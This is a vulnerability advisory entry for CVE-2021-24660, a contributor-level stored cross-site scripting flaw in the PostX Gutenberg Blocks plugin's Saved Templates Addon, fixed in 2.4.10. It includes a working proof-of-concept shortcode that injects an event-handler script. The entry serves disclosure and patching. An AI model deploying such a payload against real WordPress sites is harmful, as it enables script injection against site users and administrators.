WordPress Plugin Vulnerabilities

PostX Gutenberg Blocks Saved Templates Addon < 2.4.10 - Contributor+ Stored Cross-Site Scripting

Description

The plugin, with Saved Templates Addon enabled, allows users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks via the plugin's shortcode.

Proof of Concept

Create a page as any user with the following shortcode block:
[gutenberg_post_blocks id='a" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']

Affects Plugins

Plugin icon
ultimate-post
Fixed in 2.4.10

References

CVE
CVE-2021-24660

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.8 (medium)

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
af14ac23-843d-4f80-beaf-237618109edd

Timeline

Publicly Published
2021-08-26 (about 2 years ago)
Added
2021-08-26 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other

Published
Title
Published
2014-08-01
Title
Group Documents 1.2.1 - Document Upload Multiple Field Stored XSS
Published
2023-02-02
Title
IP Vault - WP Firewall < 2.1 - Admin+ Stored XSS
Published
2022-12-28
Title
Product Slider for WooCommerce < 2.6.4 - Contributor+ Stored XSS in Shortcode
Published
2023-05-22
Title
WP-Piwik < 1.0.28 - Admin+ Stored XSS
Published
2024-03-25
Title
Livemesh Addons for WPBakery Page Builder < 3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via shortcode